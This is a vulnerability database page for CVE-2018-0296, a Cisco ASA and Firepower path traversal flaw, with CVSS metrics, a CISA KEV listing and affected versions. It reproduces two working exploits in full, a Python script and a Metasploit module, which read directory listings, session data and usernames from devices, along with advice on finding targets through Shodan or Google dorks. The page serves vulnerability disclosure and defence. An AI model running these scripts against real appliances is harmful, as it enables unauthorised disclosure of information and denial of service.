CVE-2018-0296 : Detail

CVE-2018-0296

7.5
/
High
Directory Traversal
A03-InjectionA01-Broken Access Control
97.32%V3
Network
2018-06-07
10h00 +00:00
2024-11-13
18h22 +00:00
CVE.org
NVD
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CVE Descriptions

A vulnerability in the web interface of the Cisco Adaptive Security Appliance (ASA) could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44956

Publication date : 2018-06-27 22h00 +00:00
Author : Yassine Aboukir
EDB Verified : No

''' Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Vulnerable Products This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA) ASA 1000V Cloud Firewall ASA 5500 Series Adaptive Security Appliances ASA 5500-X Series Next-Generation Firewalls ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers Adaptive Security Virtual Appliance (ASAv) Firepower 2100 Series Security Appliance Firepower 4100 Series Security Appliance Firepower 9300 ASA Security Module FTD Virtual (FTDv) Script usage Installation: git clone https://github.com/yassineaboukir/CVE-2018-0296.git Usage: python cisco_asa.py <URL> If the web server is vulnerable, the script will dump in a text file both the content of the current directory, files in +CSCOE+ and active sessions. Disclaimer: please note that due to the nature of the vulnerability disclosed to Cisco, this exploit could result in a DoS so test at your own risk. Bug Bounty Recon You can use Shodan, Censys or any other OSINT tools to enumerate vulnerable servers or simply google dork /+CSCOE+/logon.html. Figure it out :) References: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd ''' #!/usr/bin/env python import requests import sys import urlparse import os import re print(""" _____ _____ _____ _____ _____ ___ _____ ___ / __ \_ _/ ___/ __ \ _ | / _ \ / ___|/ _ \ | / \/ | | \ `--.| / \/ | | | / /_\ \\ `--./ /_\ \ | | | | `--. \ | | | | | | _ | `--. \ _ | | \__/\_| |_/\__/ / \__/\ \_/ / | | | |/\__/ / | | | \____/\___/\____/ \____/\___/ \_| |_/\____/\_| |_/ ______ _ _ _____ _ | ___ \ | | | | |_ _| | | | |_/ /_ _| |_| |__ | |_ __ __ ___ _____ _ __ ___ __ _| | | __/ _` | __| '_ \ | | '__/ _` \ \ / / _ \ '__/ __|/ _` | | | | | (_| | |_| | | | | | | | (_| |\ V / __/ | \__ \ (_| | | \_| \__,_|\__|_| |_| \_/_| \__,_| \_/ \___|_| |___/\__,_|_| CVE-2018-0296 Script author: Yassine Aboukir(@yassineaboukir) """) requests.packages.urllib3.disable_warnings() url = sys.argv[1] regexSess = r"([0-9])\w+'" regexUser = r"(user:)\w+" dir_path = os.path.dirname(os.path.realpath(__file__)) filelist_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/" CSCOE_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b" active_sessions = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/" logon = "/+CSCOE+/logon.html" try: is_cisco_asa = requests.get(urlparse.urljoin(url,logon), verify=False, allow_redirects=False) except requests.exceptions.RequestException as e: print(e) sys.exit(1) if "webvpnLang" in is_cisco_asa.cookies: try: filelist_r = requests.get(urlparse.urljoin(url,filelist_dir), verify=False) CSCOE_r = requests.get(urlparse.urljoin(url,CSCOE_dir), verify=False) active_sessions_r = requests.get(urlparse.urljoin(url,active_sessions), verify=False) except requests.exceptions.RequestException as e: print(e) sys.exit(1) if str(filelist_r.status_code) == "200": with open(urlparse.urlparse(url).hostname+".txt", "w") as cisco_dump: cisco_dump.write("======= Directory Index =========\n {}\n ======== +CSCEO+ Directory ========\n {}\n ======= Active sessions =========\n {}\n ======= Active Users =========\n".format(filelist_r.text, CSCOE_r.text, active_sessions_r.text)) ''' Extraccion de usuarios''' matches_sess = re.finditer(regexSess, active_sessions_r.text) for match_sess in matches_sess: active_users_r = requests.get(urlparse.urljoin(url,"/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"+str(match_sess.group().strip("'"))), verify=False) matches_user = re.finditer(regexUser, active_users_r.text) for match_user in matches_user: cisco_dump.write(match_user.group()+"\n") ''' Fin Extraccion de usuarios''' print("Vulnerable! Check the text dump saved in {}".format(dir_path)) else: print("Not vulnerable!") else: print("This is not Cisco ASA! e.g: https://vpn.example.com/+CSCOE+/logon.html\n") sys.exit(1)
Exploit Database EDB-ID : 47220

Publication date : 2019-08-11 22h00 +00:00
Author : Angelo Ruwantha
EDB Verified : No

require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Cisco Adaptive Security Appliance - Path Traversal", 'Description' => %q{ Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Google Dork:inurl:+CSCOE+/logon.html }, 'License' => MSF_LICENSE, 'Author' => [ 'Yassine Aboukir', #Initial discovery 'Angelo Ruwantha @h3llwings' #msf module ], 'References' => [ ['EDB', '44956'], ['URL', 'https://www.exploit-db.com/exploits/44956/'] ], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix','linux'], 'Targets' => [ ['3000 Series Industrial Security Appliance (ISA) ASA 1000V Cloud Firewall ASA 5500 Series Adaptive Security Appliances ASA 5500-X Series Next-Generation Firewalls ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers Adaptive Security Virtual Appliance (ASAv) Firepower 2100 Series Security Appliance Firepower 4100 Series Security Appliance Firepower 9300 ASA Security Module FTD Virtual (FTDv)', {}] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']), OptString.new('SSL', [true, 'set it as true', 'true']), OptString.new('RPORT', [true, '443', '443']), ], self.class) end def run uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'), }) if res && res.code == 200 && res.body.include?("{'name'") print_good("#{peer} is Vulnerable") print_status("Directory Index ") print_good(res.body) res_dir = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'), }) res_users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'), }) userIDs=res_users.body.scan(/[0-9]\w+/).flatten print_status("CSCEO Directory ") print_good(res_dir.body) print_status("Active Session(s) ") print_status(res_users.body) x=0 begin print_status("Getting User(s)") while (x<=userIDs.length) users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]), }) grab_username=users.body.scan(/user:\w+/) nonstr=grab_username if (!nonstr.nil? && nonstr!="") print_good("#{nonstr}") end x=x+1 end rescue print_status("Complete") end else print_error("safe") return Exploit::CheckCode::Safe end end end

Products Mentioned

Configuraton 0

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.1 To (excluding) 9.1.7.29

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.2 To (excluding) 9.2.4.33

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.3 To (excluding) 9.4.4.18

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.5 To (excluding) 9.6.4.8

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.8 To (excluding) 9.8.2.28

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.9 To (excluding) 9.9.2.1

Cisco>>Adaptive_security_appliance_software >> Version 8.1\(2.5\)

    Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.7 To (excluding) 9.7.1.24

    Configuraton 0

    Cisco>>Firepower_threat_defense >> Version From (including) 6.0 To (excluding) 6.1.0

    Cisco>>Firepower_threat_defense >> Version From (including) 6.2.1 To (excluding) 6.2.2.3

    Cisco>>Firepower_threat_defense >> Version 6.2.3

    Cisco>>Firepower_threat_defense >> Version 6.2.3-85.02

      Cisco>>Firepower_threat_defense >> Version 6.2.3-851

        Cisco>>Firepower_threat_defense >> Version 6.2.3.1

        References

        http://www.securityfocus.com/bid/104612
        Tags : vdb-entry, x_refsource_BID
        https://www.exploit-db.com/exploits/44956/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://www.securitytracker.com/id/1041076
        Tags : vdb-entry, x_refsource_SECTRACK